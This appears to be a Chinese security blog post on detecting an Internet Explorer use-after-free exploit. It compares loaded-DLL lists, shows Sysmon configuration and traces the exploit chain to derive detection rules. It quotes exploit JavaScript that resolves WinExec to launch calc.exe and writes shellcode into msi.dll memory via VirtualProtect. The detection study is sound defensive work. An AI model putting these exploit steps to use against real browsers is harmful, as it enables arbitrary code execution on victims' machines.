jscript9.dll	Microsoft (R) JScript	Microsoft Corporation	C:\Windows\SysWOW64\jscript9.dll
kernel.appcore.dll	AppModel API Host	Microsoft Corporation	C:\Windows\SysWOW64\kernel.appcore.dll
kernel32.dll	Windows NT BASE API Client DLL	Microsoft Corporation	C:\Windows\SysWOW64\kernel32.dll
KernelBase.dll	Windows NT BASE API Client DLL	Microsoft Corporation	C:\Windows\SysWOW64\KernelBase.dll
KernelBase.dll.mui	Windows NT 基本 API 客户端 DLL	Microsoft Corporation	C:\Windows\System32\zh-CN\KernelBase.dll.mui
locale.nls			C:\Windows\System32\locale.nls
mlang.dll	Multi Language Support DLL	Microsoft Corporation	C:\Windows\SysWOW64\mlang.dll
mlang.dll.mui	多语言支持 DLL	Microsoft Corporation	C:\Windows\System32\zh-CN\mlang.dll.mui
mpr.dll	Multiple Provider Router DLL	Microsoft Corporation	C:\Windows\SysWOW64\mpr.dll
msasn1.dll	ASN.1 Runtime APIs	Microsoft Corporation	C:\Windows\SysWOW64\msasn1.dll
msctf.dll	MSCTF Server DLL	Microsoft Corporation	C:\Windows\SysWOW64\msctf.dll
mshtml.dll	Microsoft (R) HTML 查看器	Microsoft Corporation	C:\Windows\SysWOW64\mshtml.dll
mshtml.dll.mui	Microsoft (R) HTML 查看器	Microsoft Corporation	C:\Windows\System32\zh-CN\mshtml.dll.mui
msi.dll	Windows Installer	Microsoft Corporation	C:\Windows\SysWOW64\msi.dll
msimtf.dll	Active IMM Server DLL	Microsoft Corporation	C:\Windows\SysWOW64\msimtf.dll
msIso.dll	Isolation Library for Internet Explorer	Microsoft Corporation	C:\Windows\SysWOW64\msIso.dll
msvcp_win.dll	Microsoft® C Runtime Library	Microsoft Corporation	C:\Windows\SysWOW64\msvcp_win.dll
msvcrt.dll	Windows NT CRT DLL	Microsoft Corporation	C:\Windows\SysWOW64\msvcrt.dll
mswsock.dll	Microsoft Windows Sockets 2.0 Service Provider	Microsoft Corporation	C:\Windows\SysWOW64\mswsock.dll
netapi32.dll	Net Win32 API DLL	Microsoft Corporation	C:\Windows\SysWOW64\netapi32.dll
netmsg.dll	网络消息 DLL	Microsoft Corporation	C:\Windows\SysWOW64\netmsg.dll
netmsg.dll.mui	网络消息 DLL	Microsoft Corporation	C:\Windows\System32\zh-CN\netmsg.dll.mui
netutils.dll	Net Win32 API Helpers DLL	Microsoft Corporation	C:\Windows\SysWOW64\netutils.dll
ninput.dll	Microsoft Pen and Touch Input Component	Microsoft Corporation	C:\Windows\SysWOW64\ninput.dll
nsi.dll	NSI User-mode interface DLL	Microsoft Corporation	C:\Windows\SysWOW64\nsi.dll
ntdll.dll	NT 层 DLL	Microsoft Corporation	C:\Windows\SysWOW64\ntdll.dll
ntdll.dll	NT 层 DLL	Microsoft Corporation	C:\Windows\System32\ntdll.dll
ntmarta.dll	Windows NT MARTA provider	Microsoft Corporation	C:\Windows\SysWOW64\ntmarta.dll
ole32.dll	Microsoft OLE for Windows	Microsoft Corporation	C:\Windows\SysWOW64\ole32.dll
oleaut32.dll	OLEAUT32.DLL	Microsoft Corporation	C:\Windows\SysWOW64\oleaut32.dll
OnDemandConnRouteHelper.dll	On Demand Connctiond Route Helper	Microsoft Corporation	C:\Windows\SysWOW64\OnDemandConnRouteHelper.dll
OneCoreCommonProxyStub.dll	OneCore Common Proxy Stub	Microsoft Corporation	C:\Windows\SysWOW64\OneCoreCommonProxyStub.dll
OneCoreUAPCommonProxyStub.dll	OneCoreUAP Common Proxy Stub	Microsoft Corporation	C:\Windows\SysWOW64\OneCoreUAPCommonProxyStub.dll
powrprof.dll	Power Profile Helper DLL	Microsoft Corporation	C:\Windows\SysWOW64\powrprof.dll
profapi.dll	User Profile Basic API	Microsoft Corporation	C:\Windows\SysWOW64\profapi.dll
propsys.dll	Microsoft 属性系统	Microsoft Corporation	C:\Windows\SysWOW64\propsys.dll
propsys.dll.mui	Microsoft 属性系统	Microsoft Corporation	C:\Windows\System32\zh-CN\propsys.dll.mui
R000000000006.clb			C:\Windows\Registration\R000000000006.clb
rmclient.dll	Resource Manager Client	Microsoft Corporation	C:\Windows\SysWOW64\rmclient.dll
rpcrt4.dll	远程过程调用运行时	Microsoft Corporation	C:\Windows\SysWOW64\rpcrt4.dll
scrrun.dll	Microsoft ® Script Runtime	Microsoft Corporation	C:\Windows\SysWOW64\scrrun.dll
scrrun.dll	Microsoft ® Script Runtime	Microsoft Corporation	C:\Windows\SysWOW64\scrrun.dll
sechost.dll	Host for SCM/SDDL/LSA Lookup APIs	Microsoft Corporation	C:\Windows\SysWOW64\sechost.dll
secur32.dll	Security Support Provider Interface	Microsoft Corporation	C:\Windows\SysWOW64\secur32.dll
SHCore.dll	SHCORE	Microsoft Corporation	C:\Windows\SysWOW64\SHCore.dll
shell32.dll	Windows Shell Common Dll	Microsoft Corporation	C:\Windows\SysWOW64\shell32.dll
shlwapi.dll	外壳简易实用工具库	Microsoft Corporation	C:\Windows\SysWOW64\shlwapi.dll
SortDefault.nls			C:\Windows\Globalization\Sorting\SortDefault.nls
srpapi.dll	SRP APIs Dll	Microsoft Corporation	C:\Windows\SysWOW64\srpapi.dll
sspicli.dll	Security Support Provider Interface	Microsoft Corporation	C:\Windows\SysWOW64\sspicli.dll
StaticCache.dat			C:\Windows\Fonts\StaticCache.dat
SuggestedSites.dat			C:\Users\bonelee\AppData\Local\Microsoft\Windows\INetCache\Low\SuggestedSites.dat
sxs.dll	Fusion 2.5	Microsoft Corporation	C:\Windows\SysWOW64\sxs.dll
TextInputFramework.dll	"TextInputFramework.DYNLINK"	Microsoft Corporation	C:\Windows\SysWOW64\TextInputFramework.dll
tokenbinding.dll	Token Binding Protocol	Microsoft Corporation	C:\Windows\SysWOW64\tokenbinding.dll
twinapi.appcore.dll	twinapi.appcore	Microsoft Corporation	C:\Windows\SysWOW64\twinapi.appcore.dll
ucrtbase.dll	Microsoft® C Runtime Library	Microsoft Corporation	C:\Windows\SysWOW64\ucrtbase.dll
urlmon.dll	Win32 的 OLE32 扩展	Microsoft Corporation	C:\Windows\SysWOW64\urlmon.dll
urlmon.dll.mui	Win32 的 OLE32 扩展	Microsoft Corporation	C:\Windows\System32\zh-CN\urlmon.dll.mui
user32.dll	多用户 Windows 用户 API 客户端 DLL	Microsoft Corporation	C:\Windows\SysWOW64\user32.dll
uxtheme.dll	Microsoft UxTheme Library	Microsoft Corporation	C:\Windows\SysWOW64\uxtheme.dll
vaultcli.dll	Credential Vault Client Library	Microsoft Corporation	C:\Windows\SysWOW64\vaultcli.dll
version.dll	Version Checking and File Installation Libraries	Microsoft Corporation	C:\Windows\SysWOW64\version.dll
vm3dum_10.dll	VMware SVGA 3D D3D10 Client Driver	VMware, Inc.	C:\Windows\SysWOW64\vm3dum_10.dll
vm3dum_loader.dll	VMware SVGA 3D Usermode Driver Loader	VMware, Inc.	C:\Windows\SysWOW64\vm3dum_loader.dll
win32u.dll	Win32u	Microsoft Corporation	C:\Windows\SysWOW64\win32u.dll
windows.storage.dll	Microsoft WinRT Storage API	Microsoft Corporation	C:\Windows\SysWOW64\windows.storage.dll
winhttp.dll	Windows HTTP Services	Microsoft Corporation	C:\Windows\SysWOW64\winhttp.dll
wininet.dll	Internet Extensions for Win32	Microsoft Corporation	C:\Windows\SysWOW64\wininet.dll
winmm.dll	MCI API DLL	Microsoft Corporation	C:\Windows\SysWOW64\winmm.dll
winmmbase.dll	Base Multimedia Extension API DLL	Microsoft Corporation	C:\Windows\SysWOW64\winmmbase.dll
winnsi.dll	Network Store Information RPC interface	Microsoft Corporation	C:\Windows\SysWOW64\winnsi.dll
wintrust.dll	Microsoft Trust Verification APIs	Microsoft Corporation	C:\Windows\SysWOW64\wintrust.dll
WinTypes.dll	Windows Base Types DLL	Microsoft Corporation	C:\Windows\SysWOW64\WinTypes.dll
wkscli.dll	Workstation Service Client DLL	Microsoft Corporation	C:\Windows\SysWOW64\wkscli.dll
wldp.dll	Windows Lockdown Policy	Microsoft Corporation	C:\Windows\SysWOW64\wldp.dll
wow64.dll	Win32 Emulation on NT64	Microsoft Corporation	C:\Windows\System32\wow64.dll
wow64cpu.dll	AMD64 Wow64 CPU 	Microsoft Corporation	C:\Windows\System32\wow64cpu.dll
wow64win.dll	Wow64 Console and Win32 API Logging	Microsoft Corporation	C:\Windows\System32\wow64win.dll
ws2_32.dll	Windows Socket 2.0 32-Bit DLL	Microsoft Corporation	C:\Windows\SysWOW64\ws2_32.dll

 

 

太多了,不知道问题在哪里!我单独创建一个正常的html文件,然后使用ie加载,文件内容如下:

<html>
start!
<script>
alert("hi");
</script>
</html>

 运行后,

 加载的dll如下:

Process: iexplore.exe Pid: 4808

Name	Description	Company Name	Path
{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000001.db			C:\ProgramData\Microsoft\Windows\Caches\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000001.db
{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000001.db			C:\Users\bonelee\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000001.db
{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db			C:\ProgramData\Microsoft\Windows\Caches\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db
~FontCache-FontFace.dat			C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\~FontCache-FontFace.dat
~FontCache-S-1-5-21-2730912745-1723166478-227975165-1000.dat			C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\~FontCache-S-1-5-21-2730912745-1723166478-227975165-1000.dat
~FontCache-System.dat			C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\~FontCache-System.dat
advapi32.dll	Advanced Windows 32 Base API	Microsoft Corporation	C:\Windows\SysWOW64\advapi32.dll
apphelp.dll	应用程序兼容性客户端库	Microsoft Corporation	C:\Windows\SysWOW64\apphelp.dll
bcrypt.dll	Windows Cryptographic Primitives Library (Wow64)	Microsoft Corporation	C:\Windows\SysWOW64\bcrypt.dll
bcryptprimitives.dll	Windows Cryptographic Primitives Library	Microsoft Corporation	C:\Windows\SysWOW64\bcryptprimitives.dll
C_1252.NLS			C:\Windows\System32\C_1252.NLS
cfgmgr32.dll	Configuration Manager DLL	Microsoft Corporation	C:\Windows\SysWOW64\cfgmgr32.dll
clbcatq.dll	COM+ Configuration Catalog	Microsoft Corporation	C:\Windows\SysWOW64\clbcatq.dll
combase.dll	Microsoft COM for Windows	Microsoft Corporation	C:\Windows\SysWOW64\combase.dll
comctl32.dll	用户体验控件库	Microsoft Corporation	C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.17763.737_none_588eeadb78ace734\comctl32.dll
comctl32.dll	用户体验控件库	Microsoft Corporation	C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.17763.737_none_4d637a531b9a7e51\comctl32.dll
comdlg32.dll	Common Dialogs DLL	Microsoft Corporation	C:\Windows\SysWOW64\comdlg32.dll
CoreMessaging.dll	Microsoft CoreMessaging Dll	Microsoft Corporation	C:\Windows\SysWOW64\CoreMessaging.dll
CoreUIComponents.dll	Microsoft Core UI Components Dll	Microsoft Corporation	C:\Windows\SysWOW64\CoreUIComponents.dll
crypt32.dll	Crypto API32	Microsoft Corporation	C:\Windows\SysWOW64\crypt32.dll
cryptbase.dll	Base cryptographic API DLL	Microsoft Corporation	C:\Windows\SysWOW64\cryptbase.dll
cryptsp.dll	Cryptographic Service Provider API	Microsoft Corporation	C:\Windows\SysWOW64\cryptsp.dll
cversions.2.db			C:\ProgramData\Microsoft\Windows\Caches\cversions.2.db
cversions.2.db			C:\ProgramData\Microsoft\Windows\Caches\cversions.2.db
d2d1.dll	Microsoft D2D Library	Microsoft Corporation	C:\Windows\SysWOW64\d2d1.dll
d3d11.dll	Direct3D 11 Runtime	Microsoft Corporation	C:\Windows\SysWOW64\d3d11.dll
DataExchange.dll	Data exchange	Microsoft Corporation	C:\Windows\SysWOW64\DataExchange.dll
dcomp.dll	Microsoft DirectComposition Library	Microsoft Corporation	C:\Windows\SysWOW64\dcomp.dll
directmanipulation.dll	Microsoft Direct Manipulation Component	Microsoft Corporation	C:\Windows\SysWOW64\directmanipulation.dll
dwmapi.dll	Microsoft Desktop Window Manager API	Microsoft Corporation	C:\Windows\SysWOW64\dwmapi.dll
DWrite.dll	Microsoft DirectX Typography Services	Microsoft Corporation	C:\Windows\SysWOW64\DWrite.dll
dxgi.dll	DirectX Graphics Infrastructure	Microsoft Corporation	C:\Windows\SysWOW64\dxgi.dll
efswrt.dll	Storage Protection Windows Runtime DLL	Microsoft Corporation	C:\Windows\SysWOW64\efswrt.dll
gdi32.dll	GDI Client DLL	Microsoft Corporation	C:\Windows\SysWOW64\gdi32.dll
gdi32full.dll	GDI Client DLL	Microsoft Corporation	C:\Windows\SysWOW64\gdi32full.dll
ieapfltr.dll	Microsoft SmartScreen Filter	Microsoft Corporation	C:\Windows\SysWOW64\ieapfltr.dll
ieframe.dll	Internet 浏览器	Microsoft Corporation	C:\Windows\SysWOW64\ieframe.dll
ieframe.dll.mui	Internet 浏览器	Microsoft Corporation	C:\Windows\System32\zh-CN\ieframe.dll.mui
ieproxy.dll	IE ActiveX Interface Marshaling Library	Microsoft Corporation	C:\Windows\SysWOW64\ieproxy.dll
iertutil.dll	Internet Explorer 的运行时实用程序	Microsoft Corporation	C:\Windows\SysWOW64\iertutil.dll
IEShims.dll	Internet Explorer Compatibility Shims	Microsoft Corporation	C:\Program Files (x86)\Internet Explorer\IEShims.dll
ieui.dll	Internet Explorer UI 引擎	Microsoft Corporation	C:\Windows\SysWOW64\ieui.dll
iexplore.exe	Internet Explorer	Microsoft Corporation	C:\Program Files (x86)\Internet Explorer\iexplore.exe
iexplore.exe.mui	Internet Explorer	Microsoft Corporation	C:\Program Files\internet explorer\zh-CN\iexplore.exe.mui
imageres.dll	Windows Image Resource	Microsoft Corporation	C:\Windows\SysWOW64\imageres.dll
imageres.dll.mui	Windows Image Resource	Microsoft Corporation	C:\Windows\System32\en-US\imageres.dll.mui
imm32.dll	Multi-User Windows IMM32 API Client DLL	Microsoft Corporation	C:\Windows\SysWOW64\imm32.dll
IPHLPAPI.DLL	IP Helper API	Microsoft Corporation	C:\Windows\SysWOW64\IPHLPAPI.DLL
jscript9.dll	Microsoft (R) JScript	Microsoft Corporation	C:\Windows\SysWOW64\jscript9.dll
kernel.appcore.dll	AppModel API Host	Microsoft Corporation	C:\Windows\SysWOW64\kernel.appcore.dll
kernel32.dll	Windows NT BASE API Client DLL	Microsoft Corporation	C:\Windows\SysWOW64\kernel32.dll
KernelBase.dll	Windows NT BASE API Client DLL	Microsoft Corporation	C:\Windows\SysWOW64\KernelBase.dll
locale.nls			C:\Windows\System32\locale.nls
mlang.dll	Multi Language Support DLL	Microsoft Corporation	C:\Windows\SysWOW64\mlang.dll
mlang.dll.mui	多语言支持 DLL	Microsoft Corporation	C:\Windows\System32\zh-CN\mlang.dll.mui
mpr.dll	Multiple Provider Router DLL	Microsoft Corporation	C:\Windows\SysWOW64\mpr.dll
msasn1.dll	ASN.1 Runtime APIs	Microsoft Corporation	C:\Windows\SysWOW64\msasn1.dll
msctf.dll	MSCTF Server DLL	Microsoft Corporation	C:\Windows\SysWOW64\msctf.dll
mshtml.dll	Microsoft (R) HTML 查看器	Microsoft Corporation	C:\Windows\SysWOW64\mshtml.dll
mshtml.dll.mui	Microsoft (R) HTML 查看器	Microsoft Corporation	C:\Windows\System32\zh-CN\mshtml.dll.mui
msimtf.dll	Active IMM Server DLL	Microsoft Corporation	C:\Windows\SysWOW64\msimtf.dll
msIso.dll	Isolation Library for Internet Explorer	Microsoft Corporation	C:\Windows\SysWOW64\msIso.dll
msvcp_win.dll	Microsoft® C Runtime Library	Microsoft Corporation	C:\Windows\SysWOW64\msvcp_win.dll
msvcrt.dll	Windows NT CRT DLL	Microsoft Corporation	C:\Windows\SysWOW64\msvcrt.dll
mswsock.dll	Microsoft Windows Sockets 2.0 Service Provider	Microsoft Corporation	C:\Windows\SysWOW64\mswsock.dll
netapi32.dll	Net Win32 API DLL	Microsoft Corporation	C:\Windows\SysWOW64\netapi32.dll
netutils.dll	Net Win32 API Helpers DLL	Microsoft Corporation	C:\Windows\SysWOW64\netutils.dll
ninput.dll	Microsoft Pen and Touch Input Component	Microsoft Corporation	C:\Windows\SysWOW64\ninput.dll
nsi.dll	NSI User-mode interface DLL	Microsoft Corporation	C:\Windows\SysWOW64\nsi.dll
ntdll.dll	NT 层 DLL	Microsoft Corporation	C:\Windows\SysWOW64\ntdll.dll
ntdll.dll	NT 层 DLL	Microsoft Corporation	C:\Windows\System32\ntdll.dll
ntmarta.dll	Windows NT MARTA provider	Microsoft Corporation	C:\Windows\SysWOW64\ntmarta.dll
ole32.dll	Microsoft OLE for Windows	Microsoft Corporation	C:\Windows\SysWOW64\ole32.dll
oleaut32.dll	OLEAUT32.DLL	Microsoft Corporation	C:\Windows\SysWOW64\oleaut32.dll
OnDemandConnRouteHelper.dll	On Demand Connctiond Route Helper	Microsoft Corporation	C:\Windows\SysWOW64\OnDemandConnRouteHelper.dll
OneCoreCommonProxyStub.dll	OneCore Common Proxy Stub	Microsoft Corporation	C:\Windows\SysWOW64\OneCoreCommonProxyStub.dll
OneCoreUAPCommonProxyStub.dll	OneCoreUAP Common Proxy Stub	Microsoft Corporation	C:\Windows\SysWOW64\OneCoreUAPCommonProxyStub.dll
powrprof.dll	Power Profile Helper DLL	Microsoft Corporation	C:\Windows\SysWOW64\powrprof.dll
profapi.dll	User Profile Basic API	Microsoft Corporation	C:\Windows\SysWOW64\profapi.dll
propsys.dll	Microsoft 属性系统	Microsoft Corporation	C:\Windows\SysWOW64\propsys.dll
propsys.dll.mui	Microsoft 属性系统	Microsoft Corporation	C:\Windows\System32\zh-CN\propsys.dll.mui
R000000000006.clb			C:\Windows\Registration\R000000000006.clb
rmclient.dll	Resource Manager Client	Microsoft Corporation	C:\Windows\SysWOW64\rmclient.dll
rpcrt4.dll	远程过程调用运行时	Microsoft Corporation	C:\Windows\SysWOW64\rpcrt4.dll
sechost.dll	Host for SCM/SDDL/LSA Lookup APIs	Microsoft Corporation	C:\Windows\SysWOW64\sechost.dll
secur32.dll	Security Support Provider Interface	Microsoft Corporation	C:\Windows\SysWOW64\secur32.dll
SHCore.dll	SHCORE	Microsoft Corporation	C:\Windows\SysWOW64\SHCore.dll
shell32.dll	Windows Shell Common Dll	Microsoft Corporation	C:\Windows\SysWOW64\shell32.dll
shlwapi.dll	外壳简易实用工具库	Microsoft Corporation	C:\Windows\SysWOW64\shlwapi.dll
simsun.ttc			C:\Windows\Fonts\simsun.ttc
SortDefault.nls			C:\Windows\Globalization\Sorting\SortDefault.nls
srpapi.dll	SRP APIs Dll	Microsoft Corporation	C:\Windows\SysWOW64\srpapi.dll
sspicli.dll	Security Support Provider Interface	Microsoft Corporation	C:\Windows\SysWOW64\sspicli.dll
StaticCache.dat			C:\Windows\Fonts\StaticCache.dat
SuggestedSites.dat			C:\Users\bonelee\AppData\Local\Microsoft\Windows\INetCache\Low\SuggestedSites.dat
TextInputFramework.dll	"TextInputFramework.DYNLINK"	Microsoft Corporation	C:\Windows\SysWOW64\TextInputFramework.dll
tokenbinding.dll	Token Binding Protocol	Microsoft Corporation	C:\Windows\SysWOW64\tokenbinding.dll
twinapi.appcore.dll	twinapi.appcore	Microsoft Corporation	C:\Windows\SysWOW64\twinapi.appcore.dll
ucrtbase.dll	Microsoft® C Runtime Library	Microsoft Corporation	C:\Windows\SysWOW64\ucrtbase.dll
urlmon.dll	Win32 的 OLE32 扩展	Microsoft Corporation	C:\Windows\SysWOW64\urlmon.dll
urlmon.dll.mui	Win32 的 OLE32 扩展	Microsoft Corporation	C:\Windows\System32\zh-CN\urlmon.dll.mui
user32.dll	多用户 Windows 用户 API 客户端 DLL	Microsoft Corporation	C:\Windows\SysWOW64\user32.dll
uxtheme.dll	Microsoft UxTheme Library	Microsoft Corporation	C:\Windows\SysWOW64\uxtheme.dll
vaultcli.dll	Credential Vault Client Library	Microsoft Corporation	C:\Windows\SysWOW64\vaultcli.dll
version.dll	Version Checking and File Installation Libraries	Microsoft Corporation	C:\Windows\SysWOW64\version.dll
vm3dum_10.dll	VMware SVGA 3D D3D10 Client Driver	VMware, Inc.	C:\Windows\SysWOW64\vm3dum_10.dll
vm3dum_loader.dll	VMware SVGA 3D Usermode Driver Loader	VMware, Inc.	C:\Windows\SysWOW64\vm3dum_loader.dll
win32u.dll	Win32u	Microsoft Corporation	C:\Windows\SysWOW64\win32u.dll
windows.storage.dll	Microsoft WinRT Storage API	Microsoft Corporation	C:\Windows\SysWOW64\windows.storage.dll
winhttp.dll	Windows HTTP Services	Microsoft Corporation	C:\Windows\SysWOW64\winhttp.dll
wininet.dll	Internet Extensions for Win32	Microsoft Corporation	C:\Windows\SysWOW64\wininet.dll
winmm.dll	MCI API DLL	Microsoft Corporation	C:\Windows\SysWOW64\winmm.dll
winmmbase.dll	Base Multimedia Extension API DLL	Microsoft Corporation	C:\Windows\SysWOW64\winmmbase.dll
winnsi.dll	Network Store Information RPC interface	Microsoft Corporation	C:\Windows\SysWOW64\winnsi.dll
wintrust.dll	Microsoft Trust Verification APIs	Microsoft Corporation	C:\Windows\SysWOW64\wintrust.dll
WinTypes.dll	Windows Base Types DLL	Microsoft Corporation	C:\Windows\SysWOW64\WinTypes.dll
wkscli.dll	Workstation Service Client DLL	Microsoft Corporation	C:\Windows\SysWOW64\wkscli.dll
wldp.dll	Windows Lockdown Policy	Microsoft Corporation	C:\Windows\SysWOW64\wldp.dll
wow64.dll	Win32 Emulation on NT64	Microsoft Corporation	C:\Windows\System32\wow64.dll
wow64cpu.dll	AMD64 Wow64 CPU 	Microsoft Corporation	C:\Windows\System32\wow64cpu.dll
wow64win.dll	Wow64 Console and Win32 API Logging	Microsoft Corporation	C:\Windows\System32\wow64win.dll
ws2_32.dll	Windows Socket 2.0 32-Bit DLL	Microsoft Corporation	C:\Windows\SysWOW64\ws2_32.dll

 

 

我们使用diff工具比较下差异:左边是hello world正常网页,右边是有上述漏洞页面的dll清单【从检测上看用处不大】

 

 

好了,看到核心的几个dll加载了!见后sysmon采集数据分析。

 

此外,还有handles的情况,diff比较的话,差异还很大:

 

 

 

 

先说核心流程(见后原理分析):

利用UAF读写内存==》在内存里构造恶意rpc数据,内含rpc call back函数指针(这个就是恶意代码!shellcode在里面)==》修改dom的虚表函数,替换自己想要执行的rpc函数==》构造dom元素,让js去执行rpc==》rpc执行,回调callback,执行恶意代码

 

如何检测?我们分析下检测点在哪里?

1、利用UAF读写内存==》从uaf检测视角看,需要跟踪浏览器里的各个对象的释放和读取情况,几乎是不可行的!当然,这里面肯定有修改内存读写和执行属性,这里可以成为检测点。==》从后面知道,sysmon是看不到的!

2、在内存里构造恶意rpc数据,内含rpc call back函数指针(这个就是恶意代码!shellcode在里面)==》从检测看,rpc调用是标准规范,恶意代码在回调的函数里,*****所以应检测这个恶意的回调函数****。==》可以看到fork的可疑calc.exe子进程!

3、修改dom的虚表函数,替换自己想要执行的rpc函数==》浏览器自己检查不严格机制造成的,本例看都是dom内部自己的函数替换,从检测视角看很难,得去记录每一个dom事件的虚表,看是否有替换。

4、构造dom元素,让js去执行rpc==》浏览器dom的机制而已。

5、rpc执行,回调callback,执行恶意代码==》浏览器dom事件的各种callback调用。

 

用sysmon采集下前面复现的案例,看看检测点!典型配置增加下采集规则(主要还是image的加载采集):

	<!--SYSMON EVENT ID 7 : DLL (IMAGE) LOADED BY PROCESS [ImageLoad]-->
		<!--COMMENT:	Can cause high system load, disabled by default.-->
		<!--COMMENT:	[ https://attack.mitre.org/wiki/Technique/T1073 ] [ https://attack.mitre.org/wiki/Technique/T1038 ] [ https://attack.mitre.org/wiki/Technique/T1034 ] -->

		<!--DATA: UtcTime, ProcessGuid, ProcessId, Image, ImageLoaded, Hashes, Signed, Signature, SignatureStatus-->
	<RuleGroup name="" groupRelation="or">
		<ImageLoad onmatch="exclude">
			<!--NOTE: Using "include" with no rules means nothing in this section will be logged-->
		</ImageLoad>
	</RuleGroup>

	<!--SYSMON EVENT ID 8 : REMOTE THREAD CREATED [CreateRemoteThread]-->
		<!--COMMENT:	Monitor for processes injecting code into other processes. Often used by malware to cloak their actions. Also when Firefox loads Flash.
		[ https://attack.mitre.org/wiki/Technique/T1055 ] -->

		<!--DATA: UtcTime, SourceProcessGuid, SourceProcessId, SourceImage, TargetProcessId, TargetImage, NewThreadId, StartAddress, StartModule, StartFunction-->
	<RuleGroup name="" groupRelation="or">
		<CreateRemoteThread onmatch="exclude">
			<!--COMMENT: Exclude mostly-safe sources and log anything else.-->			
		</CreateRemoteThread>
	</RuleGroup>

	<!--SYSMON EVENT ID 9 : RAW DISK ACCESS [RawAccessRead]-->
		<!--EVENT 9: "RawAccessRead detected"-->
		<!--COMMENT:	Can cause high system load, disabled by default.-->
		<!--COMMENT:	Monitor for raw sector-level access to the disk, often used to bypass access control lists or access locked files.
			Disabled by default since including even one entry here activates this component. Reward/performance/rule maintenance decision.
			Encourage you to experiment with this feature yourself. [ https://attack.mitre.org/wiki/Technique/T1067 ] -->
		<!--COMMENT:	You will likely want to set this to a full capture on domain controllers, where no process should be doing raw reads.-->

		<!--DATA: UtcTime, ProcessGuid, ProcessId, Image, Device-->
	<RuleGroup name="" groupRelation="or">
		<RawAccessRead onmatch="exclude">
			<!--NOTE: Using "include" with no rules means nothing in this section will be logged-->
		</RawAccessRead>
	</RuleGroup>

	<!--SYSMON EVENT ID 10 : INTER-PROCESS ACCESS [ProcessAccess]-->
		<!--EVENT 10: "Process accessed"-->
		<!--COMMENT:	Can cause high system load, disabled by default.-->
		<!--COMMENT:	Monitor for processes accessing other process' memory.-->

		<!--DATA: UtcTime, SourceProcessGuid, SourceProcessId, SourceThreadId, SourceImage, TargetProcessGuid, TargetProcessId, TargetImage, GrantedAccess, CallTrace-->
	<RuleGroup name="" groupRelation="or">
		<ProcessAccess onmatch="include">
			<!--NOTE: Using "include" with no rules means nothing in this section will be logged-->
		</ProcessAccess>
	</RuleGroup>

 

首先看到的是启动了IE,打开了包含uaf漏洞利用的1809.html网页:

 

然后是创建了IE子进程,因为每一个tab标签页都会启动IE子进程:

 

 

IE子进程里加载rpc runtime DLL:

 

继续加载iframe和html viewer DLL:

 

 

 

IE加载JS引擎:

 

IE调用RPC proxy stub DLL:

 

IE加载script runtime dll和sxs.dll:

 

 

这个sxs.dll是啥作用?微软官方的说法是用来做查詢、安裝、卸載安装的程序服务。见:https://learn.microsoft.com/zh-hk/windows/win32/api/winsxs/

 

 

 

然后看到IE里fork了calc.exe:

 

 

calc.exe调用rpc runtime dll:

 

 

ie加载msi.dll:==》msi.dll是Windows安装程序MSI(Microsoft Installer)相关模块

 对应代码:

// 调用API,弹出计算器
// 通过在 kernel32.dll 模块导出表中查找 WinExec 函数的地址,然后使用其执行了命令行calc.exe 
var kernel32 = call2(LoadLibraryExA,[newStr('kernel32.dll',0,1)])
var WinExec = getProcAddr(kernel32,'WinExec')
call2(WinExec,[newStr('calc.exe'),5])

 

 

calc.exe加载了来自ie的utility dll:

 

调用rpc:

 

 

 

 

 对于可疑内存的修改和进程执行,可以看到如下三个api的调用:virutalprotect、loadlibrary以及winexec,因此采集os api应该是可以知道有可疑的内存修改和进程执行动作,尤其是IE里执行这些API。

 

// 调用API,弹出计算器
// 通过在 kernel32.dll 模块导出表中查找 WinExec 函数的地址,然后使用其执行了命令行calc.exe 
var kernel32 = call2(LoadLibraryExA,[newStr('kernel32.dll',0,1)])
var WinExec = getProcAddr(kernel32,'WinExec')
call2(WinExec,[newStr('calc.exe'),5])

// step5 执行 shellcode
//加载 msi.dll 模块到进程中,将 shellcode 写入距 msi.dll 基址 0x5000 的位置,设置内存属性后执行之
var shellcode = new Uint8Array([0xb8, 0x37, 0x13, 0x00, 0x00, 0xc3])
var msi = call2(LoadLibraryExA, [newStr('msi.dll'), 0, 1]) + 0x5000
var tmpBuffer = createArrayBuffer(4)
call2(VirtualProtect, [msi, shellcode.length, 0x4, tmpBuffer])
writeData(msi, shellcode) // mov eax, 0x1337 ; ret
call2(VirtualProtect, [msi, shellcode.length, read(tmpBuffer, 32), tmpBuffer])
var result = call2(msi, [])
// 根据shellocde的而反汇编结果,这里会弹出0x1337的对话框
alert(result.toString(16))

 

 好了,有了上面的分析,我们可以总结出如下核心的检测逻辑:

1、检测可疑的dll加载,msi.dll

2、检测os api: 对于可疑内存的修改和进程执行,可以看到如下三个api的调用:virutalprotect、loadlibrary以及winexec,因此采集os api应该是可以知道有可疑的内存修改和进程执行动作,尤其是IE里执行这些API。

3、检测可疑的子进程:ie里通过winexec启动xxx.exe这种。

基本上,从上面三个就可以判断是IE中的漏洞利用执行恶意代码了。

 

前面内容可能有点跳跃,我重点梳理下漏洞的原理:

首先是UAF漏洞的认识

Use After Free 我们可以直接从字面上翻译它的意思:使用被释放的内存块。其实当一个内存块被释放之后重新使用有如下几种情况:

内存块被释放后,其对应的指针被设置为NULL,再次使用时程序会崩溃 内存块被释放后,其对应的指针没有被设置为NULL,在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序有可能可以正常运转内存块被释放后,其对应的指针没有被设置为NULL,但是在下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能出现问题

Dangling pointer即指向被释放的内存的指针,通常是由于释放内存后,未将指针置为NULL。

UAF原理:对Dangling pointer所指向内存进行use,如指针解引用等。

